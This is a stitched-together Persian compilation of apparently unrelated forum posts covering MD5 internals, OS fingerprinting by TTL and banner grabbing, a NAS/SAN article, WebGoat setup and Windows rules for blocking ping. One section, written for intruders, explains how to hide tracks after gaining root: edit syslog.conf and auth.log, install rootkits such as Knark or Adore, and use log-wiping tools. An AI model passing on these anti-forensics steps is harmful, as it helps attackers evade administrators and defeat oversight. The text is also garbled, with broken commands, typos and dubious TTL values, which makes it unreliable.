در ابتدا 4 تابع کمکی تعریف می کنیم که هر کدام به عنوان ورودی سه کلمهء 32 بیتی می گیرد و برای خروجی یک کلمهء 32 بیتی تولید می کند.
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z) = XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))
در هر موقعیت بیتی، F به عنوان شرط عمل می کند: اگر X آنگاه Y در غیر این صورت Z. تابع F می توانست طوری تعریف شود که به جای استفاده از v از + استفاده کند چون XY و not(X) هرگز یک هایی در موقعیت بیتی یکسان نخواهد داشت. جالب است به یاد داشته باشید که اگر بیت های X، Y و Z مستقل و غیر مرتبط باشند، هر بیت از F(X, Y, Z) مستقل و غیر مرتبط خواهد بود.
توابع G، H و I شبیه تابع F هستند، به طوری که آنها در "توازی بیتی" کار می کنند تا خروجی شان را از بیت های X، Y و Z تولید کنند. در چنین روشی اگر بیت های متناظر X، Y و Z مستقل و غیر مرتبط باشند، آنگاه هر بیت از G(X, Y, Z)، H(X, Y, Z) و I(X, Y, Z) مستقل و غیر مرتبط خواهند بود.
توجه داشته باشید که تابع H، تابع XOR یا توازن بیتی از ورودی هایش است. این گام از یک جدول 64 عنصری T[1…64] ساخته شده از یک تابع مثلثاتی، استفاده می کند. اجازه دهید T[i]، I-امین عنصر جدول را مشخص می کند که برابر است با قسمت صحیح حاصلضرب 4294967296 در abs(sin(i))، به طوری که I به رادیان باشد.
کارهای زیر را انجام می دهید:
/* Process each 16-word block. */
For i = 0 to N/16-1 do
/* Copy block i into X. */
For j = 0 to 15 do
Set X[j] to M[i*16+j].
end /* of loop on j */
/* Save A as AA, B as BB, C as CC, and D as DD. */
AA = A
BB = B
CC = C
DD = D
/* Round 1. */
/* Let [abcd k s i] denote the operation
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]
/* Round 2. */
/* Let [abcd k s i] denote the operation
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]
/* Round 3. */
/* Let [abcd k s t] denote the operation
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]
/* Round 4. */
/* Let [abcd k s t] denote the operation
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]
/* Then perform the following additions. (That is increment each
of the four registers by the value it had before this block
was started.) */
A = A + AA
B = B + BB
C = C + CC
D = D + DD
end /* of loop on i */
گام 5- خروجی:
خلاصه پیامی که به عنوان خروجی تولید می شود و عبارت است از A، B، C و D، که ما با کم ارزش ترین بیت A شروع می کنیم و به با ارزش ترین بیت D خاتمه می دهیم. این تعریف MD5 را کامل می کند.
4- نتیجه:
الگوریتم خلاصه پیام MD5 به سادگی قابل اجرا می باشد و یک "اثر انگشت" یا "خلاصه پیام" از پیام با طول اختیاری تولید می کند. گمان برده می شود که امکان مواجه شدن با دو پیام که خلاصه پیام مشابهی دارند از رتبهء 64^2 و برای هر پیامی که به آن یک خلاصه پیام داده شده است از رتبهء 128^2 می باشد.
الگوریتم MD5 برای نقاط ضعف به دقت بررسی شده است. به هر حال این الگوریتم نسبتا جدید است و تحلیل امنیتی بیشتری را طلب می کند، مشابه طرح های مشابه در این رده.
روش شناسایی TTL:
این روش رو همتون میشناسید بله استفاده از فرمان PING است خوب وقتی شما یه SERVER رو pING میکنید
یک سری بسته هایی به SERVER از سیستم شما فرستاده میشود که ما در جواب این بسته ها یه سری اطلاعات میگیریم
فرمان PING را من روی یه سیستم شخصی امتحان کردم به این شکل میدهد:
فرمول pING: PING +IP
C:\WINDOWS> PING 203.168.117.8
REPLY FROM 203.168.117.8:BYTES=32TIME< 1MS TTL=128
REPLY FROM 203.168.117.8:BYTES=32TIME< 1MS TTL=128
REPLY FROM 203.168.117.8:BYTES=32TIME< 1MS TTL=128
خوب ما با بقییه جملات کاری نداریم فقط فهمیدیم که مقداره TTL=128 هستش یعنی سیستم عامل ویندوز هست
من TTL های سیتم های عامل رو براتون گذاشتم نگاه کنید(VERSIAN OF TTL)
WINDOWS 9X/NT INTEL =32
WINDOWS 2000 INTEL =128
DIGITALUNIX 4.0 ALPA =60
UNISYS XMAINFRAME =64
LINUX 2.2X INTEL =64
FTX (UNIX) 3.3STRTUS =64
SCO COMPAQ =64
NETWARE 4.11 INTEL =128
AIX 4.3X IBM/R6000 =60
AIX 4.2 IBM/R6000 =60
CISCO 11.2 =7507 60
CISCO 12.02 =514255
IRIX 6.0 SGI =60
نکته: مقداره TTL در هر ROUTER به یک میزان کم میشود ما برای اینکه تعداد ROUTER
ها رو با استفاده از فرمان TRACE در DOS به فهمیم این دستور این است
C:/WINDOS> TRACERT IP
نقاط ضعف این روش: 1)یه سرور میتونه TTL جعلی بسازه 2)TTL هافقط نوع سیتم عامل را میدهند
و VERSION سیتم عامل را به ما نمی دهد مثلا LINUX RED-HAT 6.1,LINUX RED HAT 72
3) سیتم هایی که فایر وال دارند قابل PING شدن نیستند
روش BANNER GRABBING :
هر WEB SEVERیا FTP SERVER به طور پیش فرض یه سرتیتر به نام BANNER داردکه
ما با گرفتن BANNER یک SERVER میتونیم به نسخه عامل ان پی ببریم مثلا اگه ما SEVER
TELNET کنیم میدهد
خوب من الان میخام به SERVER سایت INSECURD.ORG
TELNET> TELNET INSECRUD.ORG.80
connect to insecurd.org......
get index.html(or anything) http/1.1
host:server (or anything)
content-lenght: 10(or anything
hhtp/1.1 400 bad reqoust
date:tue,16 november 2002 11.30.00 gmt
server:apache/2.00.39(unix) mod-perl/1.99-04-devperl/v 5.6.1
content-lenght:386
connection:close
نقاط ضعف روش baner grabbing:la; مشکل این رئش این است که یک مدیر سایت میتواند تمام BANNER ها رو
حذف کند من البته از این روش زیاد استفاده کردم خوب جواب میده
روش انگشت نگاری (FINGERPRINTING METHOD)"
بهترین روش شناساییست که با استفاده از ظبط بسته های ارسالی از کامیوتر مقصدوثبت فاصله زمانی و دریافت پیام
خطا و..... شناسایی کنیم و 4 روش دارد 1)FEATURES OF TCP IMPLEMENTATION
2)ICMP ERROR MESSAGE QUENCHING
3)SNIFING DATA PACKETS
4) INITIAL SEQUNCE NUMBER SAMPELING
راستی بروبچ من روش SNIFING رو توصیه میکنم براتو اگه شد یه SNIFER توپ میذارم
خوب پاک کردن ردپا در سیستم عامل های سازگار با یونیکس مثل لینوکس . ( البته یکمم درباره اواع سولاریس میگم تا حد توان )
فایل های ثبت رخداد در سیسته عامل های سازگار با یونیکس به صورت فایل های متنی ساده ASCII ذخیره میشود . بهترین راه این است که ما پیکر بندی فایل syslogd به گونه مورد نظر خود تغییر بدیم تا موارد مشکوک ذخیره نشوند .( می توانیم این فایل ها را با یک ویرایشگر ساده مانند Vi و emacs ویرایش کنیم . ) البته تکرار میکنم نه همه آنها . ( البته کار غیر معقولانه تر اینه که بعضی ها با ین سکریپت های آماده این کارو انجام میدن مثل اسکریپت بالا ( البته کسی ناراحت نشه ها ) اینا دو بدی دارن .
1: بیشتر این اسکریپت ها کل این فایل رو ویرایش میکنن وا ین یعنی .......
2: خودشون رد پا میزارن و یه مدیر باهوش سریعا میفهمه .
تغییر پیکر بندی syslogd:
این فایل syslog.conf مشخص کننده پیکر بندی برنامه syslogd است و به این برنامه میگوید که در کجا و کدام فایل رخدادهای اتفاق افتاده را ثبت کند . در مرحله اول ما باید دارای مجوز root شویم و این فایل را یک نگاهی بندازیم و ببینیم کجاهای این فایل مربوط به ما و کارهای ماست بعد اونارو پاک یا ویرایش کنیم . و به فایل syslog.conf رفته و آن را ویرایش کنیم تا اعمالی که ما میخوایم انجام بدیم رو ثبت نکنه البته باید در آخر کار تنظیماتو به تنظیمات اولیه برگردونیم . ( این آخری خیلی خبیثانه بود نه ؟؟؟ )
این مطمئن ترین راهه .
خوب حالا نکات مهم در پیکر بندی syslog.conf :
1:در اکثر سیستم های لینوکس پیام های ثبت رخداد توسط syslog.conf به /var/log/messages هدایت میشه و البته در سولاریس var/adm/log/messages ( که البته میتونه توسط ادمین عوض شه )( بعد میگن سولاریس از لینوکس کپی نزده ... )
2:در اکثر این فایل ها دستور زیر وجود داره :
Auth.info /vear/log/auth.log
که در واقع این دستور تلاش های صورت گرفته برای لاگین و یا استفاده از دستور Su و یا استفاده از reboot و دیگر وقایع مرتیط با امنیت را جمع آوری میکنه شما برای دست کاری فایل ثبت رخداد اینجور وقایع باید به زیر شاخه /vear/log رفته و فایل auth.log را ویرایش کنید .
نکته تستی : ( اینقدر برا کنکور خونذیم موخمون گوزیده ) کلا پوشه /vear در اکثر اوقات مربوط به ویرایش فایل های ثبت رخداد است .
touch/var/log.auth.log
chown root /var/loglauth.log
chmod 600 / var/loglauth.log
و در سولاریس :
touch /var/adm/loginlog
chmod600 /var/adm/loginlog
chown root /var/adm/loginlog
chgrp sys /var/adm/loginlog
نکته تستی : 100% در کنکور : لینوکس با فایل هایی که با (.) شروع میشن مشکل داره و آنها رو با ذستور ls نشون نمیده و با ls -a نشون میده ( گرفتید برا چی میگم که ایم پوشه var رو بزارین ... و یک space هم آخرش ..... حالا هکره خودشو پاره کنه تا وارده این فولدر بشه )
فایل پیکر بندی اصلی ما در در /etc/syslogd.conf قرار دارد .
راه حل تستی : ( این راهیه که معلم خصوصی ها 100 تومن میگیرن میدن ) سیستم رو با یک root kit مثل Knark یا Adore یا ....... آلوده کنین . خودشون همه این کارا و چند تا کار اضافه ترم براتون میکنن . این یعنی آخره خفیّت ( توضیح الواضحات : خفیّت : مخفی بودن و ....... )
اما فایل های ثبت رخداد در اینگونه سیستم ها در /var/log قرار میگیرند که بعضی از آنها عبارتند از : /var/log/secure ( که رخداد های امنیتی در آن ذخیره میشود ) var/log/message ( پیام هایی همچون مولفه های سیستمی مثل دایمون . هسته و ..... .) var/log/httpd wtmp ( اینم مثل بالایی است ولی خروج ها هم ثبت میکنه ) /usr/adm/last log ( این فایل نام ماشین و زما ورود و خروج شما را ثبت میکند )
ابزار های مربوطه :
ابزار zap : این ابزار آخرین ورود ها را باز نویسی میکند و جای آن صفر میزارن .
ابزار Cloack 2 : این ابزاز داده های فایل ثبت رخداد را تغییر میدهد .
ابزار Clear : فایل های ثبت رخداد رو پاک میکنه .
هنگامی كه اولین سیستمهای كامپیوتری به صورت PC عرضه شدند و روی میز من و شما قرار گرفتند، كمتر كسی میتوانست پیشبینی كند سیلاب اطلاعات با چنین حجم عظیمی شركتها و حتی مردم دنیا را در نوردد. این دستگاهها به انبارههای ذخیرهسازی كمظرفیتی (نسبت به استانداردهای امروز) مجهز بودند، اما دپارتمانهای IT خیلی زود توانستند با استفاده از سرورهای عمومی و انبارههای اتصال مستقیم (كه از طریق یك اینترفیس پرسرعت SCSI به كامپیوتر متصل میشدند) پاسخگوی نیازهای اطلاعاتی آن زمان باشند.
امروزه این شیوه مقدماتی ذخیرهسازی و پردازش، كمتر مورد استفاده قرار میگیرد و شركتها مجبورند برای ذخیرهسازی حجم عظیم اطلاعاتی كه در سیستمهایی چون MIS ، ERP یا data warehousing تولید و جابهجا میشوند روشهای تازهتری را برگزینند. خوشبختانه، به خاطر وجود اینترنت، جریان عظیم اطلاعات نه تنها ادامه دارد، بلكه شدیدتر از گذشته شده است. امروزه تولید، انتقال، ذخیرهسازی و تحویل اطلاعات به هر كجا و در هر كجای جهان در عرض چند ثانیه صورت میگیرد و وابستگی مردم به اطلاعات بیشتر شده است به طوری كه برای مشتریان یك شركت (چه داخلی و چه خارجی) یافتن اطلاعاتِ مربوط به شركت با سرعت پایین تحملپذیر نیست.
شركتهایی كه هنوز سرویسهای اطلاعرسانی اینترنتی خود را راهاندازی نكردهاند، خلاء آن را به خوبی احساس میكنند. همین موضوع شركتهای نرمافزاری و مراكز خدماترسانی اینترنت (و به ویژه سازمانهای دات كام) را نیز به تكاپو واداشته تا راهحلهای قابل بسط و مطمئنتری را ارائه دهند. به طور كلی، شركتهای تجاری ضرورت داشتن یك انباره ذخیرهسازی مطمئن را برای نگهداری و ارائه اطلاعات احساس میكنند، اما در عین حال دوست ندارند برای این منظور مجبور به استخدام كارشناسان IT بشوند، كه هم كمیاب هستند و هم حقوق بالایی دارند. برای این شركتها شاید بهترین راهحل استفاده از Network-Attached Storage یا همان NAS باشد، كه موضوع مقاله ما است.
انباره (Storage) ذخیرهسازی متصل به شبكه (NAS) دستگاهی است كه به صورت اشتراكی در شبكه مورد استفاده قرار میگیرد. این دستگاه، با استفاده از NFS (سیستم فایلی شبكهای مختص محیطهای یونیكسی)، CIFS (سیستم فایلی شبكهای مختص محیطهای ویندوزی)،FTP ،HTTP و سایر پروتكلها با اجزای شبكه ارتباط برقرار میكند. وجود NAS در یك شبكه برای كاربران آن شبكه افزایش كارایی و استقلال از سكو را به ارمغان میآورد، گویی كه این انباره مستقیماً به كامپیوتر خودشان متصل است.
خود دستگاه NAS یك وسیله پرسرعت، كارآمد، تكمنظوره و اختصاصی است كه در قالب یك ماشین یا جعبه عرضه میشود. این دستگاه طوری طراحی شده كه به تنهایی كار كند و نیازهای خاص ذخیرهسازی سازمان را با استفاده از سیستم عامل و سختافزار و نرمافزار خود در بهترین حالت برآورده سازد. NAS را میتوان مثل یك
دستگاه plug-and-play در نظر گرفت كه وظیفه آن تأمین نیازمندیهای ذخیرهسازی است. این سیستمها با هدف پاسخگویی به نیازهای خاص در كوتاهترین زمان ممكن (به صورت بلادرنگ) طراحی شدهاند. ماشین NAS برای به كارگیری در شبكههایی مناسبتر است كه انواع مختلف سرور و كلاینت در آنها وجود دارند و وظایفی چون پراكسی، فایروال، رسانه جریانی و از این قبیل را انجام میدهند.
در این مقاله به معرفی دستهای از دستگاههای NAS میپردازیم به نام <فایلر> كه امكان به اشتراك گذاشتن فایلها و دادهها را میان انواع متفاوت كلاینتها فراهم میسازند. در عین حال، مزایای NAS در مقایسه با SAN (شبكههای موسوم به Storage Area Network) مورد بررسی قرار خواهد گرفت.
دستگاههای NAS موسوم به فایلر تمام توان پردازشی خود را صرفاً روی خدمات فایلی و ذخیرهسازی فایل متمركز میكنند. در واقع فایلر به عنوان یك وسیله ذخیرهسازی، نقش یك فایل سرور اختصاصی را ایفا میكند. فایلر مستقیماً به شبكه (معمولاً LAN) متصل میشود تا دسترسی به دادهها را در سطح فایل فراهم سازد. نصب، راهاندازی و مدیریت آسان فایلر، و همچنین مستقل از سكو بودن آن، باعث شده تا هزینههای مدیریتی كاهش چشمگیری پیدا كنند.
فایلرهای NAS میتوانند در هر جایی از شبكه مستقر شوند، بنابراین مدیر شبكه آزادی كامل دارد كه آنها را در نزدیكی محلی قرار دهد كه نیاز به خدمات ذخیرهسازی دارد. یكی از فواید اصلی استفاده از فایلر آزاد شدن سرورهای همه منظوره و گران قیمت سازمان از انجام عملیات مدیریت فایل است. سرورهای همه منظوره غالباً درگیر عملیاتی میشوند كه CPU را زیاد به كار میكشند و بنابراین نمیتوانند به خوبیِ فایلر از عهده عملیات مدیریت فایل برآیند.
تحلیلگران پیشبینی میكنند نیازِ به ظرفیت ذخیرهسازی طی سال آینده ده برابر نسبت به گذشته افزایش پیدا كند و به همین دلیل به مدیران IT استفاده از NAS را توصیه میكنند. برای هر سازمانی كه در حال استفاده از فایل سرورهای همه منظوره هستند (یا قصد استفاده از آنها را دارند) بهترین راهحل این است كه سیستمهای NAS را جایگزین سرورهای خود بكنند.
NAS سرنام عبارت NetworkAttached Storage است در حالی كه SAN مخفف Storage Area Network میباشد. این دو تكنولوژی شباهتهای بسیاری به یكدیگر دارند، مثلاً این كه هر دو بهترین حالت یكپارچگی (consolidation) را تأمین میكنند، هر دو به محل ذخیرهسازی دادهها مركزیت میبخشند، و هر دو دسترسی به فایل را در كارآمدترین حالت فراهم میسازند. قابلیت به اشتراك گذاشتن انباره ذخیرهسازی میان چند میزبان، حمایت از سیستم عاملهای مختلف، و تفكیك محل ذخیرهسازی از محل اجرای برنامهها از دیگر مشتركات این دو تكنولوژی است. علاوه بر این، هر دو آنها میتوانند با استفاده از RAID و اجزای یدكی، آمادگی و یكپارچگی دادهها را تضمین كنند.
اما تفاوت این دو تكنولوژی اصولاً در نحوه اتصال آنها به شبكه است. NAS محصولی مشخص و شناخته شده است كه بین application server و file system مینشیند (شكل ۱)، در حالی كه SAN یك معماری است كه بر روی سیستم فایلی و ابزارهای فیزیكی ذخیرهسازی اعمال میشود. (شكل۲ ) SAN در واقع خودش یك شبكه است، شبكهای كه تمام مخازن ذخیرهسازی و سرورها را به هم متصل میكند. بنابراین، هر یك از این دو فناوری، برای تأمین نیازهای ذخیرهسازی بخشهای متفاوت از یك سازمان مورد استفاده قرار میگیرد.
NAS یك وسیله شبكه محور است و عموماً به خاطر یكسانسازی محل ذخیرهسازی دادههای كاربران در
شبكه LAN مورد استفاده قرار میگیرد. NAS یك راهحل مناسب ذخیرهسازی است كه دسترسی سریع و مستقیم كاربران به سیستم فایلی را فراهم میسازد. استفاده از NAS مشكل معطلیهایی را بر طرف میسازد كه غالباً كاربران برای دسترسی به فایلهای موجود در سرورهای همه منظوره با آن مواجه هستند.
NAS ضمن تأمین امنیت لازم، تمام خدمات فایلی و ذخیرهسازی را از طریق پروتكلهای استاندارد شبكهای فراهم میسازد: TCP/IP برای انتقال دادهها، Ethernet و Giga Ethernet برای دسترسی میانی، و CIFS ،http، و NFS برای دسترسی به فایل از راه دور. علاوه بر این، با NAS میتوان به طور همزمان به كاربران یونیكس و ویندوز سرویس داد و اطلاعات را بین معماریهای متفاوت به اشتراك گذاشت. از نظر كاربران شبكه، NAS وسیلهای است كه دسترسی به فایل را بدون مزاحمت و ایجاد اختلال برای آنها مهیا میسازد.
اگر چه NAS تا حدودی كارایی را فدای مدیریتپذیری و سادگی میكند، اما به هیچ وجه نمیتوان آن را یك فناوری كه در ذات خود تأخیر دارد، پنداشت. NAS به كمك گیگابیت اترنت به كارایی بالا و تأخیر كوتاه دست یافته و هزاران كاربران را از طریق فقط یك اینترفیس سرویس میدهد. بسیاری از سیستمهای NAS دارای چند اینترفیس هستند و میتوانند همزمان به چند شبكه متصل شوند. با رشد شبكه و نیاز بیشتر به سرعت بالا، NAS بهترین انتخاب برای پاسخگویی به برنامههایی خواهد شد كه به كارایی بالایی احتیاج دارند.
SAN دیتا محور است. شبكهای است كه برای ذخیرهسازی دادهها اختصاص داده شده است. SAN برخلاف NAS، جدای از LAN مرسوم است. بنابراین، SAN میتواند از ایجاد ترافیكهای استاندارد شبكه، به عنوان یك عامل بازدارنده سرعت، جلوگیری كند. SANهای مبتنی برFiber Channel، با بهرهگیری از مزایایی كانالهای I/O در یك شبكه اختصاصی جداگانه، سرعت را بهتر و تأخیر را كمتر میكنند.
SAN با استفاده از روتر، سوییچ و gateway، انتقال دادهها بین محیطهای ناهمگن ذخیرهسازی و سروری را سهولت میبخشد. از همین رو، ایجاد یك شبكه ذخیرهسازی نسبتاً دور (در حد ۱۰ كیلومتر) با SAN امكانپذیر است.
معماری SAN برای انتقال دادههای بلوكی در بهترین حالت است. در اتاق كامپیوترها، SAN غالباً بهترین انتخاب برای بررسی مسائل پهنای باند، دسترسی به دادهها، و یكپارچهسازی است.
با توجه به تفاوتهای بنیادینی كه بین تكنولوژی و اهداف SAN و NAS وجود دارد، برای انتخاب هر یك باید تصمیم اساسی گرفته شود. هر یك از این دو را میتوان برای رفع نیازهای ذخیرهسازی مورد استفاده قرار داد. البته در آینده ممكن است مرز بین دو تكنولوژی آن چنان روشن نباشد و در یك مجموعه از هر دو روش استفاده شود.
راهحلهای NAS برای نیازهای امروز شركتها
نیازهای شركتهای ISP ،ASP و داتكام به سیستمهای قابل اطمینان، كمهزینه، و قابل نصب در رك به گسترش راهحلهای NAS كمك خواهد كرد. كاهش هزینههای كادر IT شركتها نیز از دیگر دلایل مقبولیت این راهحلها خواهد بود. از دید كاربر، این كه دسترسی به انبوه اطلاعات به صورت بلادرنگ امكانپذیر است، چیز خوشایندی است، و در سمت مدیریت، عدم نیاز به نیروی متخصص IT. مدیریت NAS از طریق یك رابط گرافیكی در مرورگر وب امكانپذیر است.
از آنجا كه فایلر NAS از قبل برای تأمین نیازهای ذخیرهسازی تنظیم شده است، اداره آن كار سادهای است، و همین امر موجب كاهش خطاهایی میشود كه هنگام دستكاری و تنظیم سیستمها پیش میآیند. به علاوه، از آنجا كه با NAS ظرفیت بیشتری را (نسبت به سرورهای همه منظوره) به ازاء هر مدیر میتوان اداره كرد، هزینه كل مالكیت (TCO) نیز كاهش مییابد.
شركتهای داتكام و سایر شركتهای رو به رشد، همواره در تلاشند تا زیرساختهای IT خود را با فعالیتهای پویای كسب و كار خود همگام نگه دارند. اتكا به سرور یا سرورهای عمومی در بعضی فعالیتهای شركت، شاید ضروری باشد، اما نباید این سرورها را با نیازهای رو به افزون ذخیرهسازی تحت فشار گذاشت. با اضافه كردن ظرفیت ذخیرهسازی در سرورهای عمومی، قطعاً با توقف سرویس (downtime) مواجه خواهید شد. وقتی سیستمی را خاموش میكنید تا ظرفیت ذخیرهسازی آن را افزایش دهید، برنامههای كاربردی شما از كار میافتند و این یعنی كاهش بهرهوری.
از سوی دیگر، افزایش ظرفیت ذخیرهسازی با NAS نه تنها ساده است، بلكه بدون ایجاد اختلال در شبكه انجام میشود. طی ۱۵ دقیقه میتوانید یك فایلر جدید به مجموعه اضافه كنید بدون این كه مزاحم كار دیگران بشوید. بیشتر سیستمهای پیشرفته NAS میتوانند <درجا> ظرفیت ذخیرهسازی را افزایش دهند و نیازی به اضافه كردن node جدید به شبكه ندارند. این بدان معنی است كه كاربران به محض نیاز به ظرفیت ذخیرهسازی بیشتر، به آن دست خواهند یافت.
با استفاده از فایلر NAS، سرورهای شما از انجام عملیات پرمصرف و زمانبر فایلینیگ خلاص شده و بدین ترتیب، میتوانند با توان بیشتر به پردازش دادهها بپردازند. اگر سرور عمومی خود را برای انجام عملیات فایلینگ (علاوه بر اعمال دیگر) اختصاص داده باشید، خواهید دید كه فشار زیادی روی آن وارد میآید، به طوری كه عملاً از انجام سایر وظایف خود (مثل ارسال و دریافت email یا اداره برنامهها) باز میماند.
شركتهای رو به توسعه یا شركتهایی كه در پی ادغام با شركتهای دیگر هستند، بدون شك با وضعیت ناهمگن بودن محیطها و سیستم عاملها مواجه خواهند شد. در چنین شرایطی، سیستم NAS میتواند پاسخگوی این چالش باشد، چرا كه توانایی كار با دو سیستم اصلی NFS و CIFS را دارد. یكی از تواناییهای غیر قابل
انكار NAS حمایت آن از این پروتكلها و قابلیت به اشتراكگذاری دادهها بین سكوهای مختلف است. با توجه به این كه روز به روز استفاده شركتها از فایلهای حجیم در برنامهها (نظیر فایلهای صوتی-تصویری) بیشتر میشود، این ویژگی NAS اهمیت فوقالعادهای دارد.
با افزودن NAS به شبكه، دانش و مهارت مدیریتی خود را بالاتر برده و به ارتقا شبكه كمك میكنید. به كار بستن NAS در هر كجا از شبكه كه نیاز آن احساس میشود امكانپذیر است. NAS را میتوان با ابزارهای مدیریتی بزرگتری چون Microsoft Management Consol ،Tivoli و HP OpenView نیز تلفیق كرد. و دیگر این كه NAS نیازی به مجوزهای پرهزینه سیستم عامل شبكه (NOS) ندارد.
__________________
منتشر شده توسط itsrg , تاريخ انتشار Feb-06-2007
با نام او .
مراحل راه اندازی اولیه :
1- ابتدا packege را از حالت فشرده خارج کرده .
2- بر روی فایل : webgoat.bat کلیک مینمایید .
3- سپس با توجه به تغییراتی که در سیستم شما وجود داشته ، بر روی یکی از دو آدرس زیر میتوانید خالت GUI را مشاهده کنید :
http://localhost/WebGoat/attack
با
http://localhost:8080/WebGoat/attack
4- اگه همه چیز موفقیت آمیز بوده باشد ، پنجره ای باز شده و از شما user&pass میخواهد که میتوانید مقدار :
user:guest
pass:guest
را وارد کنید .
5- گزینه start را مشاهده میکنید (شکل شماره 1)
6-نام خود را وارد کنید و شروع به تست حملات کنید (شکل 2)
سربلند باشید.
در این مقاله نحوه ی Block کردن بسته های ICMP روی سرور که در نهایت باعث جلوگیری از Ping شدن خود سرور و کلاینت هایی که به سرور متصل هستند میشه رو مورد برسی قرار خواهیم داد.خوب ممکن هست این سئوال برای شما مطرح بشه که این کار چه سودی داره؟ ببینید همونطور که میدونید اولین گام برای نفوذ به شبکه ،شناسایی شبکه ی هدف هست.به عنوان مثال اگر فردی قصد نفوذ به شبکه شما رو داشته باشه اولین چیزی که نیاز داره range IP شبکه ی شما خواهد بود تا کامپیوترهای فعال رو پیدا کنه و نقاط آسیب پذیرشون رو مورد هدف قرار بده.
خوب، range IP شبکه ی شما (مثلاً ISP) برای نفوذگر کاملاً مشخص هست چون range IP تمام شبکه هایی که با valid IP فعالیت دارند در مراکزی مثل "مرکز هماهنگی های RIPE" ثبت میشه و نفوذگر میتونه به راحتی بهشون دسترسی داشته باشه چون دسترسی به این اطلاعات برای عموم آزاد هست.بعد از بدست آوردن range IP نفوذگر بر روی یک چیز تمرکز میکنه و اون هم پیدا کردن کامپیوترهای فعال روی شبکه ی شما هست.برای اینکار برنامه های متعددی مثل NMAP نوشته شدن و این قابلیت رو دارن که با Ping Scan در عرض چند ثانیه با Ping کردن Range IP شبکه شما گزارش آدرسهای IP فعال بر روی شبکه رو به نفوذگر ارائه کنن،نمونه ای از یک Scan که با همین نرم افزار انجام شده رو در زیر میبینید :
D:\Tools\nmap>nmap -sP 192.168.1.*Host 192.168.1.1 appears to be up.Host AClient (192.168.1.2) appears to be up.Nmap finished: 256 IP addresses (2 hosts up) scanned in 8.360 seconds
حالا به جواب سئوال رسیدیم،جلوگیری از Ping شدن شبکه میتونه راهی باشه برای کوتاه نگاه داشتن دست نفوذگر از پویش در شبکه.در ادامه نحوه ی جلوگیری از Ping شدن شبکه با تعریف یک Policy در IPSec رو با هم مرور میکنیم.
ابتدا در Run عبارت SecPol.msc رو تایپ و Enter کنید.با انجام این عمل پنجره ای مشابه شکل زیر رو مشاهده خواهید کرد.
قبل از انجام هر کاری بهتر هست هدفمون در این کنسول رو بدونیم.هدف ما ایجاد یک Policy یا "سیاست" هست که بر طبق این سیاست تمام ترافیک ICMP روی شبکه Block بشه.برای اینکار باید دو چیز برای IPSec مشخص باشه،اولی پروتکل ICMP و دومی مفهوم Block هست.خوشبختانه IPSec پروتکل ICMP رو به صورت پیش فرض به عنوان Filter داره و تنها چیزی که نیاز به تعریفش داریم یک Filter Action هست که مفهوم Block رو مشخص کنه.
برای تعریف مفهوم Block به صورت زیر بر روی IP Security Policies on Local Machine راست کلیک و گزینه ی Manage IP filter lists and filter actions رو انتخاب کنید.
حالا پنجره ای مقابل شما قرار گرفته که باید سربرگ دومش یعنی Manage Filter Actions رو انتخاب کنید.در این سربرگ بعد از حصول اطمینان از اینکه چک باکس Use AddWizard در پایین پنجره فعال هست بر روی دکمه ی Add کلیک کنید.با انجام این کار پنجره ی Filter Action Wizard باز میشه که در اینجا فقط گذرا گزینه هایی که در هر مرحله باید انتخاب کنید رو عنوان میکنم.
1- در اولین مرحله که مرحله ی خوش آمد گویی! هست Next رو کلیک کنید.
2- در مرحله ی بعد در قسمت مربوط به Name که بالا قرار داره بنویسید "Block" و در قسمت مربوط به Description عبارت "Block Access" رو تایپ کنید و Next رو بزنید.
3- در مرحله ی بعد دکمه ی رادیویی Block رو انتخاب کنید و Next رو بزنید.
4- در آخر هم بر روی Finish کلیک کنید.
تا اینجای کار مفهوم Block مشخص شد،حالا باید پروتکل ICMP رو تابع ***** Block بکنیم. این کار با تعریف یک Policy امکان پذیر هست بنابراین برای تعریف این Policy مراحل زیر رو دنبال می کنیم.
دوباره در پنجره ی اصلی روی IP Security Policies on Local Machine راست کلیک کنید اما این بار گزینه ی اول یعنی Create IP Security Policy رو به صورت زیر انتخاب کنید.
با انجام این عمل پنجره ی IP Security Policy Wizard باز میشه.مراحلی که در این Wizard باید انجام بدید رو هم در ادامه به صورت مرحله به مرحله و سریع عرض میکنم خدمتتون.
1- در مرحله ی اول که همون پنجره ی خوش آمد گویی هست و اول همه Wizard ها وجود داره دکمه ی Next رو انتخاب کنید.
2- در مرحله ی بعد در قسمت Name عبارت "Block ICMP" و در قسمت Description عبارت "Preventing ICMP Echo Replies" رو تایپ کنید و Next رو بزنید.
